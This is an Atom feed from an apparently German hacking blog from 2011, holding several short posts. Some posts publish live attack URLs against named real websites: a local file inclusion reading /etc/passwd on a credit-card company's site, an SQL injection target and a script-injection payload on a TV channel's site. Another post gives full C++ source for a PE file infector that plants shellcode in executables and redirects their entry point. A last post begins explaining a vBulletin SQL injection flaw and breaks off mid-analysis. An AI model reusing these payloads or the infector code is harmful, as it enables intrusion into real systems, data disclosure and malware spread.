<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5398780886588725082</id><updated>2011-06-19T00:38:55.573-07:00</updated><category term='Security'/><category term='Talk'/><title type='text'>F尺ƐÐらŤϤŁƐ</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-7040449510990190368</id><published>2011-04-15T07:42:00.000-07:00</published><updated>2011-04-15T07:43:09.304-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>LFI Example on Dinersclub.at</title><content type='html'>Man könnte doch meinen, CC-Konzerne können sich halbwegs um ihre Sicherheit kümmern. Scheinbar ist dem nicht so =)&lt;br /&gt;Ich benutze die Seite einfach mal als kleines Beispiel für eine local file inclusion, hier ist's allerdings nur die Reader-Datei (ihr sollt ja keinen Mist mit sensibleren Server-Daten machen ;D)&lt;br /&gt;&lt;br /&gt;http://dinersclub.at/jpg/thumb_new.php?thumb=pool%2FRAC%2Fhighlights%2F1208250399.jpg&amp;amp;w=../../../../../../../../etc/passwd.htm&amp;amp;h=67&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-7040449510990190368?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/7040449510990190368/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/lfi-example-on-dinersclubat.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/7040449510990190368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/7040449510990190368'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/lfi-example-on-dinersclubat.html' title='LFI Example on Dinersclub.at'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-7677712991253557315</id><published>2011-04-15T07:38:00.000-07:00</published><updated>2011-04-15T07:43:09.304-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>XSS&amp;SQLi Example on Nick.de</title><content type='html'>SQLi auf Nick.de :&lt;br /&gt;&lt;a href="http://www.nick.de/downloads/Nick-Wallpaper-und-Screensaver.313.html?fid=377" target="_blank"&gt;http://www.nick.de/downloads/Nick-Wallpape...13.html?fid=377&lt;/a&gt;[SQLi]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;XSS auf Nick.com :&amp;nbsp; &lt;br /&gt;&lt;br /&gt;http://www.nick.com/search/?term=%3Cscript%3Ealert%28%27XSS%20by%20fred%27%29%3C/script%3E%27&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~fred&lt;br /&gt;PS: Ich hasse den Sender :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-7677712991253557315?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/7677712991253557315/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/xss-example-on-nickde.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/7677712991253557315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/7677712991253557315'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/xss-example-on-nickde.html' title='XSS&amp;SQLi Example on Nick.de'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-6871861235245540750</id><published>2011-04-15T07:31:00.000-07:00</published><updated>2011-04-15T07:31:03.791-07:00</updated><title type='text'>[C++] PE Infector</title><content type='html'>HeyHo,&lt;br /&gt;Krame grade ein bisschen in meinen alten HDD's rum &amp;amp; hab' unter anderem meinen, jetzt leider schon heuristisch detected, PE Infector gefunden.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;/* Simple Pe Infector By fred (c) /* infecting method:&lt;br /&gt;   find a free space in pe header;&lt;br /&gt;   how it works?&lt;br /&gt;   we find PointerToRawData of .text section because system loader put's her first &lt;br /&gt;   then we use my simple formulation :&lt;br /&gt;   delta = PointerToRawData - sizeof(code) and scan this space of memmory if it's free infect file and &lt;br /&gt;   change OEP to delta.&lt;br /&gt;   may be it will be more correct to use &lt;br /&gt;   delta = PointerToRawData - (sizeof(code) + some more) &lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;/* iamge presentation&lt;br /&gt;   ------------------&lt;br /&gt;   |  PE HEADER     |&lt;br /&gt;   |________________|&lt;br /&gt;   |                |&lt;br /&gt;   |                |&lt;br /&gt;   |  OBJECT TABLE  |&lt;br /&gt;   |________________|                &lt;br /&gt;   |                |&lt;br /&gt;   |                |&lt;br /&gt;   | FREE SPACE     |          &lt;br /&gt;   | our code       |&lt;br /&gt;   |________________|&lt;br /&gt;   |                |&lt;br /&gt;   |.text section   |&lt;br /&gt;   | next section   |&lt;br /&gt;   | next section   |&lt;br /&gt;   | .............. |&lt;br /&gt;   |                |&lt;br /&gt;   ------------------&lt;br /&gt;*/&lt;br /&gt;#include&amp;lt;windows.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;unsigned long GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)&lt;br /&gt;{&lt;br /&gt; while(NumberOfSections &amp;gt; 0)&lt;br /&gt; {&lt;br /&gt;  if( !strcmpi((char*)pSectionHeader-&amp;gt;Name , ".text"))&lt;br /&gt;  {&lt;br /&gt;   return pSectionHeader-&amp;gt;PointerToRawData;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; /* we did not find .text section */&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;/* entry point */&lt;br /&gt;int main(int argc , char *argv[])&lt;br /&gt;{&lt;br /&gt; HANDLE hFile;&lt;br /&gt; HANDLE hMap;&lt;br /&gt; char *MappedFile = 0;&lt;br /&gt; DWORD FileSize; /* file size */&lt;br /&gt; DWORD delta;   &lt;br /&gt; DWORD SectionOffset; /* .text section offset*/&lt;br /&gt; DWORD func_addr;&lt;br /&gt; IMAGE_DOS_HEADER *pDosHeader;&lt;br /&gt; IMAGE_NT_HEADERS *pNtHeader;&lt;br /&gt; IMAGE_SECTION_HEADER *pSecHeader;&lt;br /&gt; /* shell code*/&lt;br /&gt; char code[] = "\x6A\x00"              /*push 0 */&lt;br /&gt;            "\xB8\x00\x00\x00\x00"  /*mov eax , func_addr (address will be inserted automaticly)*/&lt;br /&gt;            "\xFF\xD0";             /*call eax */&lt;br /&gt; if(argc &amp;lt; 2)&lt;br /&gt; {&lt;br /&gt;  printf("parameters : ssv.exe [filename] \n");&lt;br /&gt;  printf("simple pe infector by _antony \n");&lt;br /&gt;  return 0;&lt;br /&gt; }&lt;br /&gt; printf("target: [%s] \n" , argv[1]);&lt;br /&gt; /* open file */&lt;br /&gt; hFile = CreateFile(argv[1] , &lt;br /&gt;                 GENERIC_WRITE | GENERIC_READ ,&lt;br /&gt;        0 ,&lt;br /&gt;        0 ,&lt;br /&gt;        OPEN_EXISTING ,&lt;br /&gt;        FILE_ATTRIBUTE_NORMAL ,&lt;br /&gt;        0);&lt;br /&gt; if(hFile == INVALID_HANDLE_VALUE)&lt;br /&gt; {&lt;br /&gt;  printf("[Error]: Can't open File! Error code : %d" , GetLastError());&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt; /* get file size */&lt;br /&gt; FileSize = GetFileSize(hFile , 0 );&lt;br /&gt; printf("[File Size ]: %d \n", FileSize);&lt;br /&gt; /* mapping file */&lt;br /&gt; hMap = CreateFileMapping(hFile ,&lt;br /&gt;                       0 ,&lt;br /&gt;        PAGE_READWRITE ,&lt;br /&gt;        0 , &lt;br /&gt;        FileSize ,&lt;br /&gt;        0);&lt;br /&gt; if(hMap == INVALID_HANDLE_VALUE)&lt;br /&gt; {&lt;br /&gt;  printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());&lt;br /&gt;  CloseHandle(hFile);&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt; MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);&lt;br /&gt; if(MappedFile == NULL)&lt;br /&gt; {&lt;br /&gt;  printf("[Error]: Can't map file! Error code %d\n", GetLastError());&lt;br /&gt;  CloseHandle(hFile);&lt;br /&gt;  CloseHandle(hMap);&lt;br /&gt;  UnmapViewOfFile(MappedFile);&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt; pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;&lt;br /&gt; pNtHeader  = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader-&amp;gt;e_lfanew);&lt;br /&gt; pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);&lt;br /&gt;    /* get .text section PointerToRawData*/&lt;br /&gt; SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader-&amp;gt;FileHeader.NumberOfSections);&lt;br /&gt; if(SectionOffset == 0)&lt;br /&gt; {&lt;br /&gt;  printf("[Error]: Can't find .text section!\n");&lt;br /&gt;  CloseHandle(hFile);&lt;br /&gt;  CloseHandle(hMap);&lt;br /&gt;  UnmapViewOfFile(MappedFile);&lt;br /&gt;  return -1;&lt;br /&gt; }&lt;br /&gt; delta = SectionOffset - sizeof(code);&lt;br /&gt; int i;&lt;br /&gt; BYTE check;&lt;br /&gt; printf("scanning...\n");&lt;br /&gt; /* scanning space  if there are only 00 then we infect file */&lt;br /&gt; for(i=0 ; i&amp;lt;sizeof(code) ; i++)&lt;br /&gt; {&lt;br /&gt;      check = *((BYTE*)MappedFile + delta + i);&lt;br /&gt;   printf("%X \t", check);&lt;br /&gt;   if(check != 0)&lt;br /&gt;   {&lt;br /&gt;    printf("There is some data...\n");&lt;br /&gt;    CloseHandle(hFile);&lt;br /&gt;    CloseHandle(hMap);&lt;br /&gt;    UnmapViewOfFile(MappedFile);&lt;br /&gt;    return -1;&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt;   printf("Space if free , infecting File...\n");&lt;br /&gt;   /* insert function address in shell code */&lt;br /&gt;   func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");&lt;br /&gt;   for(i=0 ; i &amp;lt; sizeof(code) ; i++ )&lt;br /&gt;   {&lt;br /&gt;    if( *(DWORD*)&amp;amp;code[i] == 0x00000B8)&lt;br /&gt;    {&lt;br /&gt;     *(DWORD*)(code+i+1)= func_addr;&lt;br /&gt;    }&lt;br /&gt;   }&lt;br /&gt;   printf("Old Entry Point : %08X \n" , pNtHeader-&amp;gt;OptionalHeader.AddressOfEntryPoint);&lt;br /&gt;   memcpy(MappedFile+delta , code , sizeof(code));&lt;br /&gt;   /* new entry point */&lt;br /&gt;   pNtHeader-&amp;gt;OptionalHeader.AddressOfEntryPoint = delta;&lt;br /&gt;          printf("File infected!\n");&lt;br /&gt;   printf("New Entry Point: %08X \n" , delta);&lt;br /&gt;   CloseHandle(hFile);&lt;br /&gt;   CloseHandle(hMap);&lt;br /&gt;   UnmapViewOfFile(MappedFile);&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;Großes Danke an meine damaligen c++ Leute ;-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-6871861235245540750?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/6871861235245540750/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/c-pe-infector.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/6871861235245540750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/6871861235245540750'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/c-pe-infector.html' title='[C++] PE Infector'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-1940251465515465133</id><published>2011-04-15T06:37:00.000-07:00</published><updated>2011-04-15T06:37:28.329-07:00</updated><title type='text'>vBulletin® 4.x SQL Injection Vulnerability</title><content type='html'>hoi, &lt;br /&gt;Seit dem letzten Knüller von vBulletin habe ich eigentlich nicht mehr mit einer gravierenden Lücke gerechnet. Doch am 05.04.2011 wurde dann ein “&lt;a href="http://www.vbulletin.com/forum/showthread.php/376995-vBulletin-4.X-Security-Patch"&gt;vBulletin 4.X Security Patch&lt;/a&gt;”  veröffentlicht. Inzwischen sind schon einige Tage vergangen und ich  hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.&lt;br /&gt;Interessant ist beispielsweise, dass es folgende Versionen betrifft:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;&lt;strong&gt;vBulletin Publishing suite&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;4.1.2 &lt;/li&gt;&lt;li&gt;4.1.1 &lt;/li&gt;&lt;li&gt;4.1.0 PL2&lt;/li&gt;&lt;li&gt;4.0.8 PL2&lt;/li&gt;&lt;li&gt;4.0.7 &lt;/li&gt;&lt;li&gt;4.0.6 &lt;/li&gt;&lt;li&gt;4.0.5 &lt;/li&gt;&lt;li&gt;4.0.4 PL1&lt;/li&gt;&lt;li&gt;4.0.3 PL1&lt;/li&gt;&lt;li&gt;4.0.2 PL4&lt;/li&gt;&lt;li&gt;4.0.1 &lt;/li&gt;&lt;li&gt;4.0.0 PL1&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size: small;"&gt;&lt;strong&gt;vBulletin Forum classic&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;4.1.2 &lt;/li&gt;&lt;li&gt;4.1.1 &lt;/li&gt;&lt;li&gt;4.1.0 PL2&lt;/li&gt;&lt;li&gt;4.0.8 PL2&lt;/li&gt;&lt;li&gt;4.0.7 &lt;/li&gt;&lt;li&gt;4.0.6 PL1&lt;/li&gt;&lt;li&gt;4.0.5 &lt;/li&gt;&lt;li&gt;4.0.4 PL1&lt;/li&gt;&lt;li&gt;4.0.3 PL1&lt;/li&gt;&lt;li&gt;4.0.2 PL4&lt;/li&gt;&lt;li&gt;4.0.1 &lt;/li&gt;&lt;li&gt;4.0.0 PL1&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;Kurz gesagt &amp;lt;= 4.1.2 |  vBulletin 3.x ist davon nicht betroffen. Das ganze hört sich interessant an - ist es auch! &lt;br /&gt;&lt;em&gt;Wo befindet sich die Luecke?&lt;/em&gt;&lt;br /&gt;&lt;strong&gt;Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 –  bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Lücke  ist aber die gleiche.&lt;/strong&gt;&lt;br /&gt;Dann schauen wir uns mal 2 Dateien an, zuerst die  /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so  aussieht:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&lt;span style="color: black; font-weight: bold;"&gt;public&lt;/span&gt; static &lt;span style="color: black; font-weight: bold;"&gt;function&lt;/span&gt; getDisplayString&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$table&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$table_display&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$fieldname&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$key&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$comparator&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$is_date&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: black; font-weight: bold;"&gt;global&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbphrase&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #000088;"&gt;$names&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #990000;"&gt;array&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;is_array&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #666666; font-style: italic;"&gt;//If we have an array, we have to use equals.&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #000088;"&gt;$sql&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;"SELECT DISTINCT &lt;span style="color: #006699; font-weight: bold;"&gt;$table&lt;/span&gt;.&lt;span style="color: #006699; font-weight: bold;"&gt;$fieldname&lt;/span&gt; from "&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; TABLE_PREFIX &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;"&lt;span style="color: #006699; font-weight: bold;"&gt;$table&lt;/span&gt; AS&lt;br /&gt;    &lt;span style="color: #006699; font-weight: bold;"&gt;$table&lt;/span&gt; WHERE &lt;span style="color: #006699; font-weight: bold;"&gt;$key&lt;/span&gt; IN ("&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #990000;"&gt;implode&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;', '&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$id&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;")"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$rst&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;db&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;query_read&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$sql&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #b1b100;"&gt;while&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$row&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;db&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;fetch_row&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$rst&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: #000088;"&gt;$names&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$row&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;count&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$names&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #000088;"&gt;$table_display&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;': '&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #990000;"&gt;implode&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;', '&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$names&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;else&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #666666; font-style: italic;"&gt;//If we got here, we have a single value&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$row&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #000088;"&gt;$vbulletin&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;db&lt;/span&gt;&lt;span style="color: #339933;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #004000;"&gt;query_first&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;"SELECT &lt;span style="color: #006699; font-weight: bold;"&gt;$table&lt;/span&gt;.&lt;span style="color: #006699; font-weight: bold;"&gt;$fieldname&lt;/span&gt; from "&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; TABLE_PREFIX &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;"&lt;span style="color: #006699; font-weight: bold;"&gt;$table&lt;/span&gt; AS&lt;br /&gt;    &lt;span style="color: #006699; font-weight: bold;"&gt;$table&lt;/span&gt; WHERE &lt;span style="color: #006699; font-weight: bold;"&gt;$key&lt;/span&gt; = &lt;span style="color: #006699; font-weight: bold;"&gt;$id&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt;  &lt;span style="color: #000088;"&gt;$table_display&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;' '&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: black; font-weight: bold;"&gt;self&lt;/span&gt;&lt;span style="color: #339933;"&gt;::&lt;/span&gt;&lt;span style="color: #004000;"&gt;getCompareString&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$comparator&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #000088;"&gt;$is_date&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: blue;"&gt;' '&lt;/span&gt; &lt;span style="color: #339933;"&gt;.&lt;/span&gt; &lt;span style="color: #000088;"&gt;$row&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #cc66cc;"&gt;0&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: blue;"&gt;""&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Vorallem die Variable $id ist nun für uns interessant, da sie in dieser Datei nicht gefiltert/überprueft wird.&lt;br /&gt;Nun schauen wir, wo diese verwundbare Funktion verwendet wird und  finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 